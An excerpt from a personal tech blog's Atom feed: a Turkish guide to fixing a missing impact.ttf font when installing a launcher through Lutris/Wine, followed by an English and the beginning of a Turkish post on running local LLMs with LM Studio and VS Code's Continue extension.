&lt;h2 id="cozum-metotlar"&gt;🛠️ &amp;Ccedil;&amp;ouml;z&amp;uuml;m Metotlar&amp;inodot;&lt;a class="headerlink" href="#cozum-metotlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-yol-cop-kutusu-dedektifligi-manuel-bulma-ve-kopyalama"&gt;1. Yol: &amp;Ccedil;&amp;ouml;p Kutusu Dedektifli&amp;gbreve;i (Manuel Bulma ve Kopyalama)&lt;a class="headerlink" href="#1-yol-cop-kutusu-dedektifligi-manuel-bulma-ve-kopyalama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Ccedil;o&amp;gbreve;u zaman kurulum scripti o fontu indirdikten sonra ge&amp;ccedil;ici klas&amp;ouml;rleri temizlerken dosyay&amp;inodot; silip &amp;ccedil;&amp;ouml;pe at&amp;inodot;yor. Yani arad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z o kay&amp;inodot;p &lt;code&gt;impact.ttf&lt;/code&gt; asl&amp;inodot;nda &amp;ccedil;ok uzaklarda de&amp;gbreve;il, muhtemelen sistemimizin &amp;ccedil;&amp;ouml;p kutusunda usulca bekliyor. &lt;/p&gt;
&lt;p&gt;&amp;Ouml;ncelikle terminalimizi a&amp;ccedil;&amp;inodot;p o ka&amp;ccedil;a&amp;gbreve;&amp;inodot; k&amp;ouml;&amp;scedil;e bucak arayal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;-iname&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"impact.ttf"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;scedil;ansl&amp;inodot;ysan&amp;inodot;z, terminal size &amp;scedil;&amp;ouml;yle bir &amp;ccedil;&amp;inodot;kt&amp;inodot; verecektir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Harika! Ka&amp;ccedil;a&amp;gbreve;&amp;inodot;n yerini tespit ettik. &amp;Scedil;imdi Lutris prefix'imizin i&amp;ccedil;erisindeki yaz&amp;inodot; tipi klas&amp;ouml;r&amp;uuml;n&amp;uuml;n varl&amp;inodot;&amp;gbreve;&amp;inodot;ndan emin olal&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: BaBaGames klas&amp;ouml;r yolunu kendi Lutris kurulum dizininize g&amp;ouml;re de&amp;gbreve;i&amp;scedil;tirmeyi unutmay&amp;inodot;n. Genelde bu yol &lt;code&gt;~/Games/...&lt;/code&gt; veya harici diskinizde belirtti&amp;gbreve;iniz bir dizin alt&amp;inodot;ndad&amp;inodot;r.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&amp;Scedil;imdi &amp;ccedil;&amp;ouml;p kutusundaki o inat&amp;ccedil;&amp;inodot; font dosyas&amp;inodot;n&amp;inodot; olmas&amp;inodot; gereken yere kopyalayarak Lutris'in inad&amp;inodot;n&amp;inodot; k&amp;inodot;ral&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lutris'i kapat&amp;inodot;p a&amp;ccedil;t&amp;inodot;ktan sonra oyunu yeniden ba&amp;scedil;latmay&amp;inodot; deneyin. Sorununuz &amp;ccedil;&amp;ouml;z&amp;uuml;lm&amp;uuml;&amp;scedil; olmal&amp;inodot;!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="2-yol-friday13-ozel-prefix-sfrlama-taktigi"&gt;2. Yol: Friday13 &amp;Ouml;zel "Prefix S&amp;inodot;f&amp;inodot;rlama" Takti&amp;gbreve;i ⚡&lt;a class="headerlink" href="#2-yol-friday13-ozel-prefix-sfrlama-taktigi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er yukar&amp;inodot;daki manuel kopyalama i&amp;scedil;e yaramad&amp;inodot;ysa veya k&amp;uuml;t&amp;uuml;phanelerin override edilememesi y&amp;uuml;z&amp;uuml;nden kurulum scripti tamamen kilitlendiyse, size kendi canl&amp;inodot; yay&amp;inodot;n&amp;inodot;mda da uygulay&amp;inodot;p kesin sonu&amp;ccedil; ald&amp;inodot;&amp;gbreve;&amp;inodot;m o efsane y&amp;ouml;ntemi anlatay&amp;inodot;m. &lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! Bu i&amp;scedil;lem prefix alt&amp;inodot;ndaki ayarlar&amp;inodot; s&amp;inodot;f&amp;inodot;rlar, ancak kurulu oyun dosyalar&amp;inodot;n&amp;inodot;za zarar vermez. Wineprefix yap&amp;inodot;s&amp;inodot;n&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;ma mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; daha iyi anlamak i&amp;ccedil;in &lt;a href="/wineprefix-nedir-nasil-kullanilir/"&gt;Wineprefix Nedir ve Nas&amp;inodot;l Kullan&amp;inodot;l&amp;inodot;r?&lt;/a&gt; rehberime g&amp;ouml;z atabilirsiniz. Yine de her ihtimale kar&amp;scedil;&amp;inodot; yedekli gitmekte fayda var hac&amp;inodot;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Mant&amp;inodot;k &amp;scedil;u: Lutris'in yar&amp;inodot;m b&amp;inodot;rakt&amp;inodot;&amp;gbreve;&amp;inodot; o karma&amp;scedil;&amp;inodot;k k&amp;uuml;t&amp;uuml;phane override d&amp;ouml;ng&amp;uuml;s&amp;uuml;n&amp;uuml; k&amp;inodot;raca&amp;gbreve;&amp;inodot;z. Ama bunu yaparken buldu&amp;gbreve;umuz veya indirdi&amp;gbreve;imiz o de&amp;gbreve;erli &lt;code&gt;Fonts&lt;/code&gt; klas&amp;ouml;r&amp;uuml;n&amp;uuml; koruyaca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Oyunun/Launcher'&amp;inodot;n kurulu oldu&amp;gbreve;u Wine prefix klas&amp;ouml;r&amp;uuml;ne (&lt;code&gt;.../dosdevices/&lt;/code&gt;) gidin.&lt;/li&gt;
&lt;li&gt;Buradaki &lt;code&gt;c:/windows/&lt;/code&gt; dizini alt&amp;inodot;ndaki &lt;strong&gt;&lt;code&gt;Fonts&lt;/code&gt; klas&amp;ouml;r&amp;uuml; hari&amp;ccedil; her &amp;scedil;eyi&lt;/strong&gt; (t&amp;uuml;m dosyalar&amp;inodot; ve di&amp;gbreve;er alt klas&amp;ouml;rleri) tamamen silin.&lt;/li&gt;
&lt;li&gt;Bizim o sorunlu &lt;code&gt;impact.ttf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot;n bu korudu&amp;gbreve;umuz &lt;code&gt;Fonts&lt;/code&gt; klas&amp;ouml;r&amp;uuml;n&amp;uuml;n i&amp;ccedil;inde durdu&amp;gbreve;undan emin olun.&lt;/li&gt;
&lt;li&gt;Lutris'i a&amp;ccedil;&amp;inodot;p kurulum scriptini ba&amp;scedil;tan ba&amp;scedil;lat&amp;inodot;n.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lutris prefix'i s&amp;inodot;f&amp;inodot;rdan yeniden olu&amp;scedil;turmaya ba&amp;scedil;layacak. S&amp;inodot;ra o sorunlu yaz&amp;inodot; tipine geldi&amp;gbreve;inde, klas&amp;ouml;r&amp;uuml;n i&amp;ccedil;inde &lt;code&gt;impact.ttf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot;n halihaz&amp;inodot;rda usulca yatt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;recek. &amp;Idot;ndirme ve do&amp;gbreve;rulama ad&amp;inodot;m&amp;inodot;n&amp;inodot; sorunsuz bir &amp;scedil;ekilde atlay&amp;inodot;p, k&amp;uuml;t&amp;uuml;phane &amp;ccedil;ak&amp;inodot;&amp;scedil;mas&amp;inodot; hatas&amp;inodot; vermeden kurulumu tereya&amp;gbreve;&amp;inodot;ndan k&amp;inodot;l &amp;ccedil;eker gibi tamamlayacak!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="alternatif-yontemler-eger-inat-devam-ederse_1"&gt;🎮 Alternatif Y&amp;ouml;ntemler (E&amp;gbreve;er &amp;Idot;nat Devam Ederse)&lt;a class="headerlink" href="#alternatif-yontemler-eger-inat-devam-ederse" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er sisteminizde hala font hatalar&amp;inodot; havada u&amp;ccedil;u&amp;scedil;uyorsa, Wine ortam&amp;inodot;na fontlar&amp;inodot; topluca tan&amp;inodot;tman&amp;inodot;n daha kestirme yollar&amp;inodot; da mevcut.&lt;/p&gt;
&lt;h3 id="a-protontricks-ile-toplu-font-kurulumu"&gt;A. Protontricks ile Toplu Font Kurulumu&lt;a class="headerlink" href="#a-protontricks-ile-toplu-font-kurulumu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Terminalin g&amp;uuml;c&amp;uuml;n&amp;uuml; arkam&amp;inodot;za al&amp;inodot;p &lt;code&gt;protontricks&lt;/code&gt; vas&amp;inodot;tas&amp;inodot;yla temel Microsoft yaz&amp;inodot; tiplerini tek komutla prefix i&amp;ccedil;ine g&amp;ouml;mebiliriz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;protontricks&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;prefix-adi&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fontsmooth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;rgb&lt;span class="w"&gt; &lt;/span&gt;corefonts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er bu da kesmezse, t&amp;uuml;m font k&amp;uuml;t&amp;uuml;phanesini bodoslama y&amp;uuml;klemek i&amp;ccedil;in &amp;scedil;u komut imdad&amp;inodot;m&amp;inodot;za yeti&amp;scedil;ir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;protontricks&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;prefix-adi&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;allfonts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="b-winecfg-uzerinden-kutuphane-kontrolu"&gt;B. Winecfg &amp;Uuml;zerinden K&amp;uuml;t&amp;uuml;phane Kontrol&amp;uuml;&lt;a class="headerlink" href="#b-winecfg-uzerinden-kutuphane-kontrolu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Lutris aray&amp;uuml;z&amp;uuml;nden oyununuza sa&amp;gbreve; t&amp;inodot;klay&amp;inodot;p &lt;strong&gt;Configure&lt;/strong&gt; dedikten sonra &lt;strong&gt;Runner options&lt;/strong&gt; sekmesinden &lt;strong&gt;Wine configuration&lt;/strong&gt; ayar&amp;inodot;na gidin. Burada &lt;strong&gt;Libraries&lt;/strong&gt; sekmesini a&amp;ccedil;arak &lt;code&gt;impact&lt;/code&gt; k&amp;uuml;t&amp;uuml;phanesinin durumunu manuel olarak kontrol edebilir ve gerekirse ekleme yapabilirsiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="canl-yayndaki-uygulamal-cozum_1"&gt;📺 Canl&amp;inodot; Yay&amp;inodot;ndaki Uygulamal&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&lt;a class="headerlink" href="#canl-yayndaki-uygulamal-cozum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu sorunu ve prefix s&amp;inodot;f&amp;inodot;rlayarak kurtulma y&amp;ouml;ntemini bizzat uygulad&amp;inodot;&amp;gbreve;&amp;inodot;m, her ad&amp;inodot;m&amp;inodot;n&amp;inodot; detayl&amp;inodot;ca anlatt&amp;inodot;&amp;gbreve;&amp;inodot;m canl&amp;inodot; yay&amp;inodot;n kayd&amp;inodot;na da g&amp;ouml;z atabilirsiniz. &amp;Idot;lgili k&amp;inodot;s&amp;inodot;m tam olarak &lt;strong&gt;30:58&lt;/strong&gt; dakikas&amp;inodot;ndan itibaren ba&amp;scedil;l&amp;inodot;yor:&lt;/p&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
&lt;p&gt;&lt;lite-youtube videoid="R-VTXW-xV20" videostartat="1858"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;
&lt;p&gt;G&amp;uuml;n&amp;uuml;n sonunda terminalle verdi&amp;gbreve;imiz bu sava&amp;scedil;&amp;inodot; yine biz kazand&amp;inodot;k karda&amp;scedil;. E&amp;gbreve;er senin de kafana tak&amp;inodot;lan bir yer olursa veya &lt;code&gt;find&lt;/code&gt; komutu bo&amp;scedil; d&amp;ouml;nerse hemen a&amp;scedil;a&amp;gbreve;&amp;inodot;ya yorum b&amp;inodot;rak, beraber &amp;ccedil;&amp;ouml;zeriz. &lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla, ben art&amp;inodot;k hak edilmi&amp;scedil; bir uykunun kollar&amp;inodot;na kendimi b&amp;inodot;rak&amp;inodot;yorum!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/linux-oyunlara-turkce-yama-kurulumu/"&gt;Linux Oyunlara T&amp;uuml;rk&amp;ccedil;e Yama Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/wineprefix-nedir-nasil-kullanilir/"&gt;Wineprefix Nedir ve Nas&amp;inodot;l Kullan&amp;inodot;l&amp;inodot;r?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-steam-ses-hatasi-cozumu/"&gt;Arch Linux Steam Ses Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/davinci-resolve-20-1-linux-hatasi-cozumu/"&gt;Davinci Resolve 20.1 Linux Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Lutris, runner yap&amp;inodot;land&amp;inodot;rmas&amp;inodot; s&amp;inodot;ras&amp;inodot;nda kurulu paketlerin &amp;uuml;zerine yaz&amp;inodot;lmas&amp;inodot;n&amp;inodot; engelleyen kat&amp;inodot; g&amp;uuml;venlik kurallar&amp;inodot;na sahiptir. Bu durum bir font eksikli&amp;gbreve;inde dahi t&amp;uuml;m kurulumu kilitleyebilir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="lutris"/><category term="proton"/><category term="wine"/><category term="linux"/><category term="oyun"/><category term="sorun-giderme"/></entry><entry><title>Goodbye to Monthly Subscriptions: Free and Private AI Guide on Your Own Computer</title><link href="https://yuceltoluyag.github.io/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/" rel="alternate"/><published>2026-05-14T22:50:00+03:00</published><updated>2026-05-14T22:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-14:/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/</id><summary type="html">&lt;p&gt;Tired of shelling out money in dollars to ChatGPT and Claude every month? We are setting up an AI ecosystem on your own hardware that runs completely privately and for free. (Masterclass Guide)&lt;/p&gt;</summary><content type="html">&lt;p&gt;Let's be honest; AI subscription prices have now gone off the rails. Paying 20-30 dollars every month to ChatGPT, Claude, or for API fees is literally a headache, especially for our people struggling with the exchange rate, my friend. 🤯 Moreover, what is being done with your data on those distant servers is a complete mystery.&lt;/p&gt;
&lt;p&gt;Recently, I dove down a rabbit hole, saying, "Why don't I do this in my own kitchen?" The result: an AI assistant running completely privately on my computer, requiring no internet, and most importantly, &lt;strong&gt;free of charge&lt;/strong&gt;. Not just chat, either; with autocomplete inside VS Code and a full-fledged agent mode.&lt;/p&gt;
&lt;p&gt;Today I will tell you the details of this work in a "Masterclass" flavor. Regardless of what your hardware is, once you grasp the logic of this work, you can run a smooth AI on any system. If you prefer to set up your own server and work through the terminal instead of using desktop apps, you can also check out my more detailed guide, &lt;a href="/en/yerel-llm-kurulum-rehberi-2026/"&gt;Self-Hosted LLMs in 2026&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="section-1-how-does-local-ai-work-the-vram-matter"&gt;🧠 Section 1: How Does Local AI Work? (The VRAM Matter)&lt;a class="headerlink" href="#section-1-how-does-local-ai-work-the-vram-matter" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There are two main elements that determine the performance of a model: &lt;strong&gt;number of parameters&lt;/strong&gt; (brain size) and &lt;strong&gt;Context Size&lt;/strong&gt; (memory capacity). You cannot run an 862-billion-parameter beast on a home computer, but you can work wonders with properly configured models.&lt;/p&gt;
&lt;p&gt;The secret lies in the amount of &lt;strong&gt;VRAM&lt;/strong&gt; on your graphics card (GPU). If you are unsure which card to choose, you can check my guide on the &lt;a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/"&gt;Best GPUs for Local LLMs (2026)&lt;/a&gt;. ⚡&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip: VRAM vs. System RAM&lt;/p&gt;
&lt;p&gt;When you run the model, all parameters crowd into your graphics card's VRAM. If you have 16 GB VRAM and the model requires 17 GB, the remaining 1 GB overflows into regular system RAM. &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; When this overflow occurs, your speed drops from 120 km/h to a snail's pace (20-30 tokens/sec). So the main rule: Fit the model into the VRAM!&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you are using a Mac (M1/M2/M3), your job is easier because Apple uses "Unified Memory" (unified memory). This means that direct AI can use a large portion of the 32 GB RAM in the system "like VRAM".&lt;/p&gt;
&lt;h2 id="section-2-first-step-with-lm-studio"&gt;🛠️ Section 2: First Step with LM Studio&lt;a class="headerlink" href="#section-2-first-step-with-lm-studio" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I recommend &lt;strong&gt;LM Studio&lt;/strong&gt; for the fastest and cleanest start. The user interface is so successful that it clearly shows you how much space which model will occupy on your system (GPU offload).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Download LM Studio:&lt;/strong&gt; &lt;a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank"&gt;LM Studio Official Site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search for Models:&lt;/strong&gt; Type &lt;code&gt;Qwen&lt;/code&gt; or &lt;code&gt;Llama&lt;/code&gt; in the search section. If you are unsure which model to choose, check out my &lt;a href="/en/en-iyi-yerel-llm-modelleri-2026/"&gt;Best Local LLM Models (2026)&lt;/a&gt; guide for the latest comparisons.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Choose Quantization (Compression):&lt;/strong&gt; This is the crucial point. Do not download models in their "raw" state (FP16). Choose compressed versions like &lt;strong&gt;Q4&lt;/strong&gt; or &lt;strong&gt;Q6&lt;/strong&gt;. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: What is Quantization?&lt;/p&gt;
&lt;p&gt;It is the process of shrinking a large model's size by half with very little compromise on its performance. Q4 (4-bit) is usually the "sweet spot"; it remains smart and fits into a moderate graphics card.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="section-3-vs-code-integration-continue-extension"&gt;💻 Section 3: VS Code Integration (Continue Extension)&lt;a class="headerlink" href="#section-3-vs-code-integration-continue-extension" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Chatting is nice, but the real productivity comes with that AI being at your fingertips when you are writing code. We use the &lt;strong&gt;Continue&lt;/strong&gt; extension in VS Code for this.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;For Autocomplete:&lt;/strong&gt; Choose very small models (for example, the 1.5B parameter Qwen-Coder). Because the autocomplete process needs to be instantaneous.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For Agent/Chat:&lt;/strong&gt; You can use larger models (9B or 14B).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="configuration-configjson"&gt;Configuration (config.json)&lt;a class="headerlink" href="#configuration-configjson" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In Continue settings, it is enough to select &lt;code&gt;lm-studio&lt;/code&gt; as &lt;code&gt;provider&lt;/code&gt; and enter the local server address (&lt;code&gt;http://localhost:1234/v1&lt;/code&gt;) provided by LM Studio. Now you are using your own "GitHub Copilot" alternative inside VS Code for free. 😎&lt;/p&gt;
&lt;h2 id="local-vs-cloud-which-one-is-smarter_1"&gt;📊 Local vs. Cloud: Which One Is Smarter?&lt;a class="headerlink" href="#local-vs-cloud-which-one-is-smarter" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Many people ask, "Are local models as smart as Claude?" In the &lt;strong&gt;Sudoku Application&lt;/strong&gt; test I did myself, I saw the following:
- &lt;strong&gt;Claude Sonnet 3.5:&lt;/strong&gt; Wrote the application in 9 minutes with zero errors.
- &lt;strong&gt;Local Qwen 2.5 (32B):&lt;/strong&gt; Gave a similar quality output in about 9-10 minutes.&lt;/p&gt;
&lt;p&gt;Is there a speed difference? Yes, cloud models respond faster on huge server farms, but local AI has already passed the "good enough" level for debugging and general coding tasks.&lt;/p&gt;
&lt;h2 id="to-wrap-up"&gt;🏁 To Wrap Up&lt;a class="headerlink" href="#to-wrap-up" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can cancel your monthly subscriptions, save that money, and buy yourself a solid graphics card (for example, an RTX 4060 Ti or 4070 with 16GB VRAM) in 2-3 months. This card opens the door to &lt;strong&gt;free and unlimited&lt;/strong&gt; AI use for life.&lt;/p&gt;
&lt;p&gt;Keep your data on your computer and the money in your wallet. There is no better time than today to launch your own local AI masterclass, my friend.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;For more technical details on the subject, you can check the model cards on &lt;a href="https://huggingface.co/" rel="noopener noreferrer" target="_blank"&gt;HuggingFace&lt;/a&gt;.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;For "out of memory" errors you encounter while setting up local AI, try closing other programs using your GPU (browser, etc.) on your system.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="yerel ai"/><category term="lm studio"/><category term="vs code"/><category term="continue"/><category term="llm"/><category term="vram"/><category term="gpu"/><category term="yapay zeka"/></entry><entry><title>Aylık Aboneliklere Elveda: Kendi Bilgisayarınızda Bedava ve Özel AI Rehberi</title><link href="https://yuceltoluyag.github.io/yerel-ai-kurulum-rehberi-lm-studio-vs-code/" rel="alternate"/><published>2026-05-14T22:50:00+03:00</published><updated>2026-05-14T22:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-14:/yerel-ai-kurulum-rehberi-lm-studio-vs-code/</id><summary type="html">&lt;p&gt;ChatGPT ve Claude'a her ay dolarla para bayılmaktan bıktınız mı? Kendi donanımınızda, tamamen gizli ve bedava çalışan bir AI ekosistemi kuruyoruz. (Masterclass Rehber)&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hadi d&amp;uuml;r&amp;uuml;st olal&amp;inodot;m; AI abonelik fiyatlar&amp;inodot; art&amp;inodot;k &amp;scedil;irazesinden &amp;ccedil;&amp;inodot;kt&amp;inodot;. Her ay 20-30 dolar&amp;inodot; ChatGPT'ye, Claude'a veya API &amp;uuml;cretlerine bay&amp;inodot;lmak, &amp;ouml;zellikle bizim gibi kur fark&amp;inodot;yla bo&amp;gbreve;u&amp;scedil;an memleket insan&amp;inodot; i&amp;ccedil;in resmen bir ba&amp;scedil; a&amp;gbreve;r&amp;inodot;s&amp;inodot; dostum. 🤯 &amp;Uuml;stelik verilerinizin o uzak sunucularda ne yap&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot; da tam bir muamma.&lt;/p&gt;
&lt;p&gt;Ge&amp;ccedil;enlerde "Ben neden bu i&amp;scedil;i kendi mutfa&amp;gbreve;&amp;inodot;mda yapm&amp;inodot;yorum?" diyerek bir tav&amp;scedil;an deli&amp;gbreve;ine dald&amp;inodot;m. Sonu&amp;ccedil;: Bilgisayar&amp;inodot;mda tamamen gizli, internete ihtiya&amp;ccedil; duymayan ve en &amp;ouml;nemlisi &lt;strong&gt;bedava&lt;/strong&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;an bir AI asistan&amp;inodot;. Sadece chat de de&amp;gbreve;il; VS Code i&amp;ccedil;inde otomatik tamamlama (autocomplete) ve tam te&amp;scedil;ekk&amp;uuml;ll&amp;uuml; ajan moduyla birlikte.&lt;/p&gt;
&lt;p&gt;Bug&amp;uuml;n size bu i&amp;scedil;in "Masterclass" k&amp;inodot;vam&amp;inodot;nda detaylar&amp;inodot;n&amp;inodot; anlataca&amp;gbreve;&amp;inodot;m. Donan&amp;inodot;m&amp;inodot;n&amp;inodot;z ne olursa olsun, bu i&amp;scedil;in mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; kavrad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda her sistemde ak&amp;inodot;c&amp;inodot; bir AI &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz. E&amp;gbreve;er sadece masa&amp;uuml;st&amp;uuml; uygulamalar&amp;inodot;yla s&amp;inodot;n&amp;inodot;rl&amp;inodot; kalmay&amp;inodot;p kendi sunucunuzu kurmak ve terminalden ilerlemek isterseniz, &lt;a href="/yerel-llm-kurulum-rehberi-2026/"&gt;Kendi Sunucunda Yapay Zeka (2026)&lt;/a&gt; ba&amp;scedil;l&amp;inodot;kl&amp;inodot; detayl&amp;inodot; rehberime de g&amp;ouml;z atabilirsiniz.&lt;/p&gt;
